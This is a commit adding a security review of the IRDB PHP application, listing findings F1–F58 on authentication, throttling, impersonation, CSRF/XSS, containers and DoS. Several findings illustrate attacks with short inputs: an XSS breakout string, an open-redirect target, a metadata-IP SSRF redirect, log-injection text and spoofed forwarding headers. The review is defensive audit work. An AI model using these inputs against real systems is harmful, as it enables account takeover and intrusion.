docs: add SEC_REVIEW.md with multi-agent security review findings

Captures 74 findings (5 sev-3, 27 sev-2, 42 sev-1) covering auth,
authorization, SQL/input, CSRF/XSS, secrets/config, rate limiting,
and DoS surfaces. Each finding is referenced as F1..F74.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

doc/SEC_REVIEW.md

@@ -0,0 +1,849 @@
+# IRDB Security Review
+
+> Scope: full source tree at `api/src`, `ui/src`, `api/docker`, `ui/docker`,
+> `Dockerfile`s, `docker-compose.yml`, `compose.scheduler.yml`, `.env.example`,
+> Twig templates and Caddy configuration. Vendored dependencies were not audited
+> (no `composer audit` / `npm audit` was run for this review).
+>
+> Severity scale: **1** = low / informational, **2** = medium, **3** = high /
+> critical. Severity reflects both impact and ease of exploitation in the
+> documented deployment topology.
+>
+> Each finding is referenced as **F<N>** for later citation.
+>
+> **Findings rolled up:** 5 sev-3, 27 sev-2, 42 sev-1.
+
+---
+
+## Severity 3 — high / critical
+
+### F1 — Login throttle bypass via spoofed `X-Forwarded-For`
+- **Files:** `ui/src/Auth/LocalLoginController.php:117-130`,
+  `ui/src/Auth/LoginThrottle.php:131-137`
+- **Risk:** `extractSourceIp()` reads the first hop of `X-Forwarded-For`
+  without verifying the immediate peer is a configured trusted proxy.
+  The throttle bucket is `(lower(username), source_ip)`, so an attacker
+  rotates the `X-Forwarded-For` value per request — every attempt is a
+  fresh bucket and the 5/10/15-failure ladder never trips. Defeats the
+  documented brute-force protection on the local-admin password.
+  Argon2id slows it but does not prevent it. The UI is also reachable
+  on `:8080` directly per `docker-compose.yml`.
+- **Severity: 3**
+
+### F2 — Throttle bucket includes IP → IP-rotation defeats the per-user lockout
+- **File:** `ui/src/Auth/LoginThrottle.php:131-137`
+- **Risk:** The bucket key is `(username, source_ip)`. Even ignoring F1,
+  there is no bucket that counts attempts against a *username* across
+  IPs. An attacker on a distributed source (or a residential proxy
+  pool) gets unlimited password attempts against the single
+  `LOCAL_ADMIN_USERNAME` account because each new IP is a fresh bucket.
+- **Severity: 3**
+
+### F3 — Service token + `upsertLocal` mints arbitrary Admin users with no audit, RBAC, rate-limit, or impersonation
+- **Files:** `api/src/App/AppFactory.php:156-169`,
+  `api/src/Application/Auth/AuthController.php:56-77`,
+  `api/src/Infrastructure/Auth/UserRepository.php:119-159`
+- **Risk:** The `/api/v1/auth/*` route group attaches only
+  `$tokenAuth` — no `RbacMiddleware`, no `$impersonation`, no
+  `$auditContext`, no `$rateLimit`. The controller's only check is
+  "kind == Service". `UserRepository::upsertLocal` *unconditionally*
+  assigns `Role::Admin` regardless of input. Anyone holding the service
+  token (in env, masked-prefix-visible in `/admin/config`, baked into
+  the UI image) can `POST /api/v1/auth/users/upsert-local
+  {"username":"x"}` to create a new Admin user id and then impersonate
+  it via `X-Acting-User-Id` on every other admin endpoint. A leaked
+  service token is a single-step total compromise with no log trail.
+- **Severity: 3**
+
+### F4 — Audit emit is non-transactional with state mutation
+- **Files:** `api/src/Infrastructure/Audit/DbAuditEmitter.php:37-48`;
+  controller pattern e.g. `api/src/Application/Admin/ManualBlocksController.php:138-157`,
+  `ReportersController.php:103-116, 198-211`,
+  `PoliciesController.php:135-140, 241-246, 278-283`,
+  `AllowlistController.php:126-131`
+- **Risk:** Every admin write performs the mutation first, then calls
+  `audit->emit(...)` *outside* a transaction. `DbAuditEmitter::emit`
+  catches `Throwable`, logs `audit_emit_failed`, and returns void. Any
+  DB error, lock timeout, JSON encoding failure, or process kill
+  between mutation and audit insert leaves the state changed with no
+  audit row. An attacker with admin privileges who can intentionally
+  fail the audit insert (e.g. abusing long `details_json` under MySQL
+  strict mode, or racing audit-table maintenance) mutates state without
+  being audited. Integrity of the audit log depends entirely on a
+  best-effort second write.
+- **Severity: 3**
+
+### F5 — User creation and role assignment emit no audit
+- **Files:** `api/src/Application/Auth/AuthController.php:29-77`
+  (`upsertOidc`, `upsertLocal`)
+- **Risk:** `/api/v1/auth/users/upsert-oidc` and `upsert-local` create or
+  update users including assigning roles via OIDC group mapping or the
+  local-admin bootstrap, and emit no `AuditEmitter` calls. Privilege
+  grants and account creation — primary SOC/ISO 27001 events — are
+  invisible in the audit log. Combined with F3, an attacker who
+  compromises the service token can grant themselves Admin without
+  trace.
+- **Severity: 3**
+
+---
+
+## Severity 2 — medium
+
+### F6 — Throttle store is per-process in memory; lost on worker recycle
+- **File:** `ui/src/Auth/LoginThrottle.php:38, 43-48, 92`
+- **Risk:** Counters live only in the FrankenPHP worker process. Worker
+  recycling on memory pressure or fixed request counts wipes counters
+  and gives the attacker fresh attempts. Multi-worker FrankenPHP
+  multiplies allowed attempts by N silently. No persistent (DB / Redis)
+  backing.
+- **Severity: 2**
+
+### F7 — Username enumeration via response timing on local login
+- **File:** `ui/src/Auth/LocalLoginController.php:77-78`
+- **Risk:** `password_verify` only runs after `usernameOk` evaluates
+  truthy, so the request takes Argon2id time (tens to hundreds of ms)
+  on a username match versus microseconds on a miss. An unauthenticated
+  attacker enumerates the configured `LOCAL_ADMIN_USERNAME` value.
+  Mitigation: always run a dummy `password_verify` against a fixed
+  hash regardless of username match.
+- **Severity: 2**
+
+### F8 — `headers_sent()` short-circuit silently skips session regeneration / clear
+- **Files:** `ui/src/Auth/SessionManager.php:43-53, 67-75, 101-107`
+- **Risk:** Both `regenerateId()` and `clear()` are gated on
+  `!headers_sent()`. If headers are sent before middleware (warning
+  output, accidental whitespace, error rendering), login does not
+  rotate the session id. An attacker who pre-seeded a victim's
+  `irdb_session` cookie can ride that session post-login (classic
+  session fixation). Should fail-closed instead of silently
+  no-op'ing.
+- **Severity: 2**
+
+### F9 — OIDC session id not regenerated *before* the handshake starts
+- **Files:** `ui/src/Auth/OidcController.php:39-47, 89`,
+  `ui/src/Auth/JumbojettOidcAuthenticator.php:33-94`
+- **Risk:** `state`, `nonce`, and `code_verifier` are stashed in
+  `$_SESSION` during `/login/oidc`. Regeneration only happens after
+  a successful `upsert` (line 89). If an attacker can fixate a session
+  id in a victim's browser before `/login/oidc` is hit (hostile
+  network, sibling subdomain, or the F8 race), the attacker shares the
+  same `$_SESSION` and can later hijack the session. Standard
+  hardening regenerates on `initiate()` *before* redirecting to the
+  IdP.
+- **Severity: 2**
+
+### F10 — Open redirect via attacker-controllable `next` parameter
+- **Files:** `ui/src/Auth/SessionManager.php:139-150` (`setNext` /
+  `consumeNext`), used by `ui/src/Auth/OidcController.php:98-100`,
+  `ui/src/Auth/LocalLoginController.php:106-108`,
+  `ui/src/Controllers/AllowlistController.php:126-128`,
+  `ui/src/Controllers/ManualBlocksController.php:168-170`
+- **Risk:** After a delete action, `next` from the form body is sent
+  verbatim as `Location:` with no validation that the value starts with
+  a single `/` (not `//evil.example.com`) and no scheme allowlist. An
+  authenticated operator/admin tricked into submitting a forged form
+  (or any reflected XSS that auto-submits with the legitimate CSRF
+  token) gets a 303 redirect to an arbitrary host from the trusted
+  IRDB origin — high-quality phishing pivot. The login-flow
+  `consumeNext()` path is currently safe (`AuthRequiredMiddleware`
+  controls the source), but `setNext()` itself is unrestricted.
+- **Severity: 2**
+
+### F11 — Service-token impersonation accepts any user id with no allow-list, no active-status gate
+- **Files:** `api/src/Infrastructure/Http/Middleware/ImpersonationMiddleware.php:38-77`,
+  `api/src/Infrastructure/Auth/UserRepository.php:28-37`
+- **Risk:** Service-token holders can impersonate any user id by
+  setting `X-Acting-User-Id`. There is no allow-list, no
+  "disabled"/"locked" check (no such column on `users`), and no
+  separate audit signal. Combined with F3, a leaked service token is
+  unconstrained Admin.
+- **Severity: 2**
+
+### F12 — Local-admin lookup matches on `display_name` without uniqueness guarantee
+- **Files:** `api/src/Infrastructure/Auth/UserRepository.php:50-60, 119-160`
+- **Risk:** `findLocalByUsername()` matches on `display_name` AND
+  `is_local=1`, with no DB-enforced uniqueness on the pair.
+  `LIMIT 1` silently picks one row. A hostile/compromised IdP that
+  pushes an OIDC user with the same `display_name` (and a later data
+  fix flipping `is_local`) could be matched on local-admin login,
+  binding the local-admin password to the wrong identity.
+- **Severity: 2**
+
+### F13 — Service token rotation leaves the old hash valid indefinitely
+- **File:** `api/src/Infrastructure/Auth/ServiceTokenBootstrap.php:65-89`
+- **Risk:** When the bootstrap detects a different service-kind row
+  (rotation in progress), it inserts the new row but does not revoke
+  the old. Both tokens remain valid. With no operator tooling for
+  service-token revocation, rotated tokens may live forever in
+  `api_tokens`. If an old token leaks (config snapshot, image layer)
+  the attacker authenticates indefinitely.
+- **Severity: 2**
+
+### F14 — `/api/v1/auth/*` has no rate limit
+- **File:** `api/src/App/AppFactory.php:156-169`
+- **Risk:** The auth group has only `$tokenAuth`. `RateLimitMiddleware`
+  is not attached. `getUser/{id}` allows enumeration (F17), and
+  combined with F3 a leaked service token gets unlimited writes.
+- **Severity: 2**
+
+### F15 — `MaintenanceController::seedDemo` requires no confirmation token
+- **File:** `api/src/Application/Admin/MaintenanceController.php:279-288`
+- **Risk:** Asymmetric with `purge` which gates on `confirm: "PURGE"`.
+  Any actor with admin role (or a compromised service token via F3)
+  can issue a single POST and load thousands of synthetic
+  reports/IPs/blocks into a production database. The 409
+  "already_seeded" check is keyed only on a literal demo-named
+  reporter, so after a partial purge the seed will re-fire. Also a
+  cheap repeated-write DoS.
+- **Severity: 2**
+
+### F16 — Admin-role API tokens are not bound to a `user_id` → privilege persists after offboarding
+- **Files:** `api/src/Application/Admin/TokensController.php:142-155, 166-177`,
+  `api/src/Infrastructure/Http/Middleware/TokenAuthenticationMiddleware.php:67`,
+  `api/src/Infrastructure/Http/Middleware/RbacMiddleware.php:51-59`
+- **Risk:** When an Admin user creates an admin-kind token, the
+  `TokenRecord` carries `role` but no `userId`. If the user issuing
+  the token is later demoted/disabled/removed, the token continues
+  to grant Admin until manually revoked. There is no UI/API to list
+  tokens by issuer.
+- **Severity: 2**
+
+### F17 — `GET /api/v1/auth/users/{id}` enables enumeration of internal user records
+- **File:** `api/src/Application/Auth/AuthController.php:79-104`
+- **Risk:** A service-token holder can iterate `/users/1`,
+  `/users/2`, ... and exfiltrate every user's `email`, `display_name`,
+  `role`, `is_local`. No rate limit (F14), no audit (F5), no
+  defensive sleep.
+- **Severity: 2**
+
+### F18 — Containers run as root (no `USER` directive)
+- **Files:** `api/Dockerfile:42-43`, `ui/Dockerfile:46-47`
+- **Risk:** Neither Dockerfile sets a `USER`. PHP/FrankenPHP/Caddy run
+  as UID 0. Any RCE in PHP code, dependency CVE, or FrankenPHP/Caddy
+  CVE gets root inside the container. No `--chown` on `COPY`. The
+  `irdb-data:/data` volume is owned by root.
+- **Severity: 2**
+
+### F19 — No `.dockerignore` — host artifacts baked into images
+- **Files:** build context roots `api/`, `ui/`; `COPY . ./` lines
+  `api/Dockerfile:31`, `ui/Dockerfile:37`
+- **Risk:** No `.dockerignore` ships in either subproject. `tests/`,
+  `db/migrations/`, `bin/console`, `.phpstan.cache/`,
+  `.phpunit.cache/`, `node_modules/` (UI), `composer.lock` are baked
+  into the image. The repo-root `.env` is outside the build context
+  by happenstance — any future developer who drops `.env`,
+  `.env.local`, or a fixture into `api/` or `ui/` will silently bake
+  it into the published image. Test fixtures and `bin/console` are
+  also available to any future LFI / arbitrary-file-read primitive.
+- **Severity: 2**
+
+### F20 — Application source is writable by the process serving requests
+- **Files:** `api/Dockerfile:36-38`, `ui/Dockerfile:42`
+- **Risk:** Combined with F18, any RCE-grade bug allows the attacker
+  to overwrite PHP source files in `/app` (vendor, src,
+  `public/index.php`) and persist via the next request. A `USER`
+  directive plus stricter perms (read-only `/app`, writable only
+  `/data`) blocks this persistence path.
+- **Severity: 2**
+
+### F21 — `getTraceAsString` logged in production may leak plaintext credentials
+- **Files:** `api/src/Infrastructure/Http/JsonErrorHandler.php:48`,
+  `api/src/Infrastructure/Jobs/JobRunner.php:91`
+- **Risk:** PHP's stringified backtrace inlines scalar arguments to
+  each frame. An exception thrown from inside `password_verify`, a
+  Guzzle request setter, or any function called with a token/password
+  as an argument writes the *plaintext* secret into the trace.
+  `SecretScrubbingProcessor` matches Argon2/bcrypt hashes and
+  `irdb_*` token shapes but does not match arbitrary plaintext
+  passwords or generic OIDC `client_secret` values, so password-spray
+  and OIDC misconfig errors leak via stdout logs.
+- **Severity: 2**
+
+### F22 — `compose.scheduler.yml` runs `apk add` at every container start
+- **File:** `compose.scheduler.yml:3-8`
+- **Risk:** `image: alpine:3` (no digest, no minor pin) plus
+  `apk add --no-cache curl tini` at runtime means each restart pulls
+  whatever Alpine ships that minute. A compromise of the Alpine
+  package mirror (or typosquatting) gets root in the scheduler
+  container, which holds `INTERNAL_JOB_TOKEN` and can call
+  `/internal/jobs/*`. Pin the base image digest and the apk versions
+  or build a real image.
+- **Severity: 2**
+
+### F23 — `jumbojett/openid-connect-php ^1.x` constraint pins a major with historical CVEs
+- **File:** `ui/composer.json:19`
+- **Risk:** The `^1.0` constraint covers a major line that has had
+  multiple advisories (e.g. GHSA-jq3w-9mgf-43m4 / CVE-2024-21489 in
+  v0.x/early-v1; an iss-confusion advisory in v1.x prior to 1.0.2).
+  Given this library is the sole OIDC token-validation entry point,
+  drift here is critical. Tighten to `^1.0.2 || ^2.0` after testing
+  and run `composer audit` regularly.
+- **Severity: 2**
+
+### F24 — UI CSP allows `script-src 'unsafe-inline' 'unsafe-eval'`
+- **File:** `ui/docker/Caddyfile:33`
+- **Risk:** `'unsafe-inline'` permits inline `<script>` blocks AND
+  inline event handlers (`x-on:click`, `onclick`). Any stored or
+  reflected XSS sink elsewhere in the app executes unimpeded. The
+  trade-off is documented (Alpine.js v3 `Function()` evaluator), but
+  CSP is here a defence-in-depth string only — XSS is fully
+  exploitable without strict CSP. Migrating to nonces or hashed
+  scripts and packaging Alpine-with-CSP-build would close the gap.
+- **Severity: 2**
+
+### F25 — Trusted-proxy XFF rewrite + `private_ranges` may allow `/internal/*` bypass
+- **Files:** `api/docker/Caddyfile:7-11, 50-62`,
+  `api/src/Infrastructure/Http/Middleware/InternalNetworkMiddleware.php:29-35`,
+  `docker-compose.yml:15-16`
+- **Risk:** Caddy is configured `trusted_proxies static private_ranges`,
+  so it honors `X-Forwarded-For` and rewrites `REMOTE_ADDR` whenever
+  the immediate peer is in any RFC1918 range. The api container's
+  port 8081 is published. In a deployment where another container on
+  the same docker bridge or a misconfigured host-iptables rule reaches
+  port 8081 from a 172.16/12 source, both the Caddyfile gate
+  (`remote_ip 127.0.0.1/32 ::1/128 ...`) and the PHP
+  `InternalNetworkMiddleware` see a forged source. The
+  `INTERNAL_JOB_TOKEN` is still required, but the network-layer
+  defense is bypassable on tenant-shared docker hosts.
+- **Severity: 2**
+
+### F26 — JsonErrorHandler can leak raw exception messages in production
+- **File:** `api/src/Infrastructure/Http/JsonErrorHandler.php:53-82`
+- **Risk:** The "hide details in prod" guard fires only when status
+  ≥ 500. The `HttpException` branch returns
+  `[$e->getCode(), ['error' => $e->getMessage()]]` for codes anywhere
+  in 400–499 — attacker-influenced messages are returned verbatim.
+  The catch-all branch passes `$e->getMessage()` into the payload
+  and only overwrites it with `'internal error'` when status ≥ 500
+  AND `!expose`. Internal exception types (DBAL, PDO, parse errors)
+  whose `getCode()` happens to be in the 4xx range bypass
+  suppression and return raw messages.
+- **Severity: 2**
+
+### F27 — `RateLimitMiddleware` is skipped when no principal is present
+- **Files:** `api/src/Infrastructure/Http/Middleware/RateLimitMiddleware.php:33-36`
+- **Risk:** The middleware bails out and forwards unrate-limited if
+  `$principal` is missing. Anything outside the public group
+  (admin/auth/internal/health/docs) receives no rate limiting.
+  Auth-failed paths (401 from `TokenAuthenticationMiddleware`) never
+  reach `RateLimitMiddleware` either — a client hammering with
+  invalid bearer tokens incurs DB lookups (and `last_used_at` writes
+  on hits) with zero backoff, pinning DB pool / connection budget.
+- **Severity: 2**
+
+### F28 — Rate limiter buckets are per-process, unbounded, and reset per replica
+- **File:** `api/src/Infrastructure/Http/RateLimiter.php:23-49`
+- **Risk:** `$buckets` is unbounded and never evicted (token churn
+  balloons memory in long-lived FrankenPHP workers). Multi-replica
+  deployments give an attacker a fresh bucket per replica — effective
+  rate is `(perSecond) * N_replicas` per token behind a non-sticky
+  LB. Idle/revoked tokens linger forever until container restart.
+- **Severity: 2**
+
+### F29 — `/api/v1/admin/*` group has no rate limit
+- **File:** `api/src/App/AppFactory.php:188-337`
+- **Risk:** The admin group attaches `tokenAuth → impersonation →
+  auditContext` but not `$rateLimit`. Combined with F30 (slow
+  searchIps), F31 (deep-offset audit), and F32 (N+1 enrichment), any
+  compromised Viewer token (Viewer is the OIDC default role) can
+  issue unlimited heavy queries.
+- **Severity: 2**
+
+### F30 — `IpScoreRepository::searchIps` allows full-table scan via `q=%X%`
+- **File:** `api/src/Infrastructure/Reputation/IpScoreRepository.php:146-307`
+- **Risk:** For any `q` value not matching `/^[\da-fA-F:.]+$/`, the
+  query degrades to `LIKE '%q%'`, forcing a full `ip_scores` table
+  scan + `GROUP BY ip_bin, ip_text` (no index supports a
+  non-anchored LIKE). At the SPEC's 50k-row target this is slow.
+  Pair with `min_score`/`max_score` HAVING and the LEFT JOIN on
+  `ip_enrichment` (joined whenever country or asn is supplied) and a
+  Viewer can drive pathological execution per request. There is no
+  statement timeout. Each request also runs a separate `COUNT(*)`
+  over the same wrapped subquery, doubling cost.
+- **Severity: 2**
+
+### F31 — `AuditController` has no length cap, no max-offset cap, deep-offset scans
+- **Files:** `api/src/Application/Admin/AuditController.php:58-101`,
+  `api/src/Infrastructure/Audit/AuditRepository.php:68-129`
+- **Risk:** `action`, `entity_type`, `entity_id`, `subject_id` are
+  passed unfiltered. With `page_size=200` and large `offset`,
+  `LIMIT 200 OFFSET huge` causes a deep scan over `audit_log`. No
+  max-offset cap. `COUNT(*)` runs on every paginated request. A
+  logged-in Viewer can hit `?page=999999&page_size=200` to force
+  scans repeatedly.
+- **Severity: 2**
+
+### F32 — Admin list endpoints execute N+1 enrichment lookups per page row
+- **Files:** `api/src/Application/Admin/IpsController.php:84-86, 187-190`,
+  `api/src/Application/Admin/AdminControllerSupport.php:67-77`
+- **Risk:** `IpsController::list` calls
+  `enrichment->findByIpBin()` and `effectiveStatusFor()` per row.
+  At `page_size=200`, that's 400+ DB roundtrips per request. With
+  no admin rate limit (F29), this amplifies query cost
+  significantly. Refactor to batch-load enrichment by ip_bin set.
+- **Severity: 2**
+
+---
+
+## Severity 1 — low / informational
+
+### F33 — `OidcClaims->email` is `?string` but `upsertOidc` types it as `string`
+- **Files:** `api/src/Infrastructure/Auth/UserRepository.php:65-71`,
+  `ui/src/Auth/JumbojettOidcAuthenticator.php:56-61`
+- **Risk:** Type-system finding rather than direct exploit; a TypeError
+  at the boundary on null email. Downstream merge-by-email tools could
+  later confuse two users since the OIDC primary key is `subject` but
+  some IdPs don't release `email`.
+- **Severity: 1**
+
+### F34 — Sensitive identifiers logged at INFO/WARN/ERROR
+- **Files:** `ui/src/Auth/LoginThrottle.php:79-90`,
+  `ui/src/Auth/OidcController.php:84`
+- **Risk:** Attempted usernames (which can include passwords typed in
+  the wrong field), source IPs, and OIDC subjects are logged in
+  plaintext. SIEM exports / log access by lower-trust operators
+  amount to accidental disclosure.
+- **Severity: 1**
+
+### F35 — `INTERNAL_JOB_TOKEN` has no minimum-length enforcement at startup
+- **File:** `api/src/Infrastructure/Http/Middleware/InternalTokenMiddleware.php:35-47`
+- **Risk:** `hash_equals` is correct, but a misconfigured deploy with
+  `INTERNAL_JOB_TOKEN=foo` is accepted as long as it is non-empty.
+  Network gate (`InternalNetworkMiddleware`) limits exposure but
+  combined with F25 a docker-network neighbour can brute-force a
+  weak token. Validate at startup that the token is at least 32 hex
+  chars or refuse to boot.
+- **Severity: 1**
+
+### F36 — UI session role/identity is captured at login and never re-validated
+- **Files:** `ui/src/Http/AuthRequiredMiddleware.php:27-32`,
+  `ui/src/Auth/SessionManager.php:84-99`
+- **Risk:** If an OIDC user is removed from an admin group in Entra,
+  or a user record is deleted/disabled in the api, the existing UI
+  session continues to operate with the stale role until expiry
+  (8h idle / 24h absolute). No "revoke session by user_id"
+  primitive.
+- **Severity: 1**
+
+### F37 — Local-admin password hash algorithm not validated at boot
+- **File:** `ui/src/Auth/LocalLoginController.php:42, 78`
+- **Risk:** No check that `LOCAL_ADMIN_PASSWORD_HASH` is Argon2id (or
+  bcrypt cost ≥ 12). An operator who passes `$2y$04$…` (cost 4) or a
+  legacy `$1$…` MD5-crypt string would have it accepted. Use
+  `password_get_info()` and refuse to enable local-admin if the
+  algorithm is below threshold.
+- **Severity: 1**
+
+### F38 — Disabled local-admin returns 404 *before* throttle, allowing unrestricted hammering
+- **File:** `ui/src/Auth/LocalLoginController.php:60-62`
+- **Risk:** When `localAdminEnabled === false`, the controller 404s
+  with no rate-limit. Worker threads still serve the request — a
+  cheap DoS lever on environments with the local path disabled.
+- **Severity: 1**
+
+### F39 — Token base32 encoding has trailing-bit ambiguity
+- **Files:** `api/src/Domain/Auth/Token.php:18, 47`,
+  `api/src/Domain/Auth/TokenIssuer.php:26-43`
+- **Risk:** The encoder zero-pads the final 5-bit chunk, so the last
+  base32 char encodes only 4 useful bits — 32 possible last
+  characters decode to 16 distinct values modulo the unused bit.
+  No exploit found (lookup is by SHA-256 of the raw input), but the
+  parser should refuse base32 strings whose final character has the
+  unused bit set.
+- **Severity: 1**
+
+### F40 — CSRF token never rotated on session-id regeneration
+- **Files:** `ui/src/Http/CsrfMiddleware.php:53-60`,
+  `ui/src/Auth/SessionManager.php:67-75, 77-82`
+- **Risk:** `regenerateId()` rotates `session_id` on login but the
+  `$_SESSION['_csrf']` token carries over across the privilege
+  boundary. A pre-auth token leaked via referer or a sub-resource
+  remains valid post-auth for the session lifetime. Standard
+  hardening: regenerate the CSRF token on login/logout. (`clear()`
+  resets `$_SESSION` to `[]` so logout is fine.)
+- **Severity: 1**
+
+### F41 — Reporter / consumer `audit_enabled` is mass-assignable via PATCH
+- **Files:** `api/src/Application/Admin/ReportersController.php:178-184`,
+  `api/src/Application/Admin/ConsumersController.php:184-190`
+- **Risk:** Admin-gated, but an attacker with Admin can silently
+  disable `report.received` / `blocklist.requested` audit emission
+  for a reporter/consumer before performing further activity, then
+  re-enable. No special-class audit signal flags the toggle.
+- **Severity: 1**
+
+### F42 — UI policy proxy controllers rely entirely on API for role enforcement
+- **File:** `ui/src/Controllers/PoliciesController.php:61-118`
+- **Risk:** `previewProxy` / `scoreDistributionProxy` only check
+  `getUser() === null` and forward to the API with the session userId
+  as `X-Acting-User-Id`. Currently safe because API gates the
+  underlying endpoint to Viewer, but if the API role drifts the UI
+  silently allows access until an API 403 surfaces. Defense-in-depth:
+  enforce the role expectation in the UI controller.
+- **Severity: 1**
+
+### F43 — `/admin/ips/{ip:.+}` route pattern is permissive
+- **Files:** `api/src/App/AppFactory.php:256`,
+  `ui/src/App/AppFactory.php:130`,
+  `api/src/Application/Admin/IpsController.php:121-127`
+- **Risk:** `.+` matches multi-segment paths. Currently safe because
+  `IpAddress::fromString` rejects non-IP strings, but any future
+  reuse of `$args['ip']` as a filename, log key, or downstream URL
+  component inherits a path-traversal sink. Tighten to a strict IP
+  charset regex.
+- **Severity: 1**
+
+### F44 — Job name not strictly regex-validated before audit emission
+- **File:** `api/src/Application/Admin/JobsAdminController.php:90-130`
+- **Risk:** `registry->has($name)` is the gate. A future change that
+  trims/url-decodes inside `has()` could turn the audit-emit path
+  into log injection or forged audit entries. Validate against
+  `^[a-z0-9_-]+$` in the controller.
+- **Severity: 1**
+
+### F45 — `InternalNetworkMiddleware` admits the entire RFC1918 universe
+- **File:** `api/src/Infrastructure/Http/Middleware/InternalNetworkMiddleware.php:29-35`
+- **Risk:** Allowed CIDRs are `10.0.0.0/8`, `172.16.0.0/12`,
+  `192.168.0.0/16`, plus loopback. Any container reachable on the
+  internal docker network passes the network gate. Safer: pin to a
+  named docker-compose network or to the explicit scheduler IP.
+- **Severity: 1**
+
+### F46 — LIKE wildcard injection in IPs search `q`
+- **File:** `api/src/Infrastructure/Reputation/IpScoreRepository.php:155-162`
+- **Risk:** `q` is bound parametrically (no SQLi) but `%` and `_`
+  meta-characters are not escaped. `?q=%` matches every row;
+  `?q=_____...` is a quadratic backtrack vector. The `IpsController`
+  validator only `trim()`s `q`; no length cap.
+- **Severity: 1**
+
+### F47 — Unbounded length on string filters reaching SQL
+- **Files:** `api/src/Application/Admin/AuditController.php:58-83`,
+  `api/src/Infrastructure/Audit/AuditRepository.php:81-101`
+- **Risk:** `action`, `entity_type`, `entity_id`, `subject_kind`,
+  `subject_id` are accepted as arbitrary-length strings. Bound
+  parametrically (no SQLi) but multi-megabyte values are happily
+  forwarded to the prepared statement, wasting RAM/CPU per request.
+  Apply max length 128 plus an allowlist regex on `*_kind` fields.
+- **Severity: 1**
+
+### F48 — MaxMind tarball extraction has no decompressed-size cap
+- **File:** `api/src/Infrastructure/Enrichment/Downloaders/MaxMindDownloader.php:90-98`
+- **Risk:** `PharData::extractTo` rejects `..` traversal since PHP 8,
+  so direct path-traversal is mitigated, but there is no per-entry
+  size cap. A small `.tar.gz` could decompress into multi-GB MMDB
+  and exhaust disk before `MmdbVerifier` sees it. Iterate `$phar`
+  manually and enforce a max uncompressed size.
+- **Severity: 1**
+
+### F49 — DB-IP gunzip has no decompressed-size cap
+- **File:** `api/src/Infrastructure/Enrichment/Downloaders/DbipDownloader.php:108-126`
+- **Risk:** `gzdecode($compressed)` allocates the full decompressed
+  payload. A malicious or compromised DB-IP endpoint (or a TLS-trust
+  misconfiguration) could serve a tiny gzip whose decompressed form
+  is multi-GB, OOM-killing the api. Stream via `gzopen`/`gzread` and
+  bail past a threshold.
+- **Severity: 1**
+
+### F50 — Guzzle client used by GeoIP downloaders allows redirects without host filtering
+- **File:** `api/src/App/Container.php:279-288`
+- **Risk:** `connect_timeout`/`timeout` are set but `allow_redirects`
+  defaults to "follow up to 5", with no `protocols`/`strict`/`referer`
+  constraints. A malicious upstream or DNS poisoning could 302 a
+  download to `http://169.254.169.254/...` or `file://`. URL is a
+  constant in the default deploy, so this is defence-in-depth.
+  Mitigation:
+  `allow_redirects => ['max'=>3,'protocols'=>['https'],'strict'=>true,'referer'=>false]`
+  plus a private-IP guard.
+- **Severity: 1**
+
+### F51 — `RoleMappingRepository` placeholder generation does not enforce list shape
+- **File:** `api/src/Infrastructure/Auth/RoleMappingRepository.php:31-36`
+- **Risk:** Safe today because the only caller passes a typed list,
+  but the `sprintf` pattern is fragile. Add
+  `array_filter($groupIds, 'is_string')` to make the contract
+  explicit.
+- **Severity: 1**
+
+### F52 — Reporter / consumer / category `name`/`reason` accept control characters
+- **Files:** `api/src/Application/Admin/ReportersController.php:69-72`,
+  `ConsumersController.php:67-70`,
+  `ManualBlocksController.php`, `AllowlistController.php`,
+  `CategoriesController.php`
+- **Risk:** NULs, newlines, ANSI escapes land in
+  `audit_log.target_label` and `details_json`. Twig auto-escapes for
+  display, but log-injection (`\n[CRIT] fake event`) is possible
+  downstream. Strip control chars and NFC-normalise at the input
+  boundary.
+- **Severity: 1**
+
+### F53 — Stored-XSS sink potential in `categories/edit.twig` `decay_function`
+- **File:** `ui/resources/views/pages/categories/edit.twig:7-10`
+- **Risk:**
+  `x-data="decayPreview({ fn: '{{ category.decay_function }}', ... })"`.
+  Twig's default `e('html')` escapes `'` to `&#039;`. The browser
+  HTML-decodes the attribute before Alpine evaluates it as JS, so
+  `&#039;` becomes a literal `'` and breaks out of the JS string. If
+  `decay_function` ever stores `a'); alert(1);//` (API enum drift),
+  it executes. Combined with F24 (CSP `'unsafe-inline'`), live XSS.
+  Use `e('js')` for content interpolated into a JS-attribute.
+- **Severity: 1**
+
+### F54 — CSRF middleware lacks `Origin` / `Referer` defence in depth
+- **File:** `ui/src/Http/CsrfMiddleware.php:30, 40-48, 62-74`
+- **Risk:** Token validation is correct (constant-time compare,
+  256-bit entropy). Missing layered checks. No JSON-body extraction
+  path (the middleware reads only header or `getParsedBody()`); fine
+  today, brittle for future PUT/PATCH endpoints with JSON.
+- **Severity: 1**
+
+### F55 — `e('html_attr')` in Alpine `x-data` JS-attribute
+- **File:** `ui/resources/views/pages/ips/detail.twig:166-171`
+- **Risk:** Escape-strategy mismatch — `html_attr` vs the JS evaluator
+  Alpine runs the attribute through. Backticks aren't escaped,
+  Unicode permissive. A maintainer footgun more than an exploit.
+  Use `data-foo='{{ x|json_encode|e("html_attr") }}'` on a
+  non-Alpine element and read via `dataset.foo` + `JSON.parse` (the
+  pattern already used in `dashboard.twig`).
+- **Severity: 1**
+
+### F56 — Inline `<script>` blocks in many templates force CSP `'unsafe-inline'`
+- **Files:** `ui/resources/views/pages/ips/detail.twig:274-392`,
+  `pages/categories/edit.twig:111-135`,
+  `pages/policies/edit.twig:139-422`,
+  `pages/audit/index.twig:102-131`,
+  `layout.twig:9-22`
+- **Risk:** Inline scripts plus event handlers force `'unsafe-inline'`
+  (F24). Migrating to per-request nonces, or moving these scripts
+  into a packaged `/assets/app.js`, lets the CSP drop the
+  `'unsafe-inline'` token.
+- **Severity: 1**
+
+### F57 — Session cookie name lacks `__Host-` prefix
+- **File:** `ui/src/Auth/SessionManager.php:23, 54-62`
+- **Risk:** Attributes are correct (`HttpOnly`, prod `Secure`,
+  `SameSite=Lax`, `path=/`, no `Domain`). Adding `__Host-` enforces
+  these at the browser and prevents subdomain cookie shadowing.
+  Free defence-in-depth.
+- **Severity: 1**
+
+### F58 — `/api/docs` CSP allows external CDN without SRI
+- **File:** `api/docker/Caddyfile:41`
+- **Risk:** `script-src 'unsafe-inline' https://cdn.jsdelivr.net`. If
+  the CDN is compromised or RapiDoc serves user-influenced content,
+  the docs page executes attacker JS. Add SRI hashes on the RapiDoc
+  tag, or vendor a copy locally.
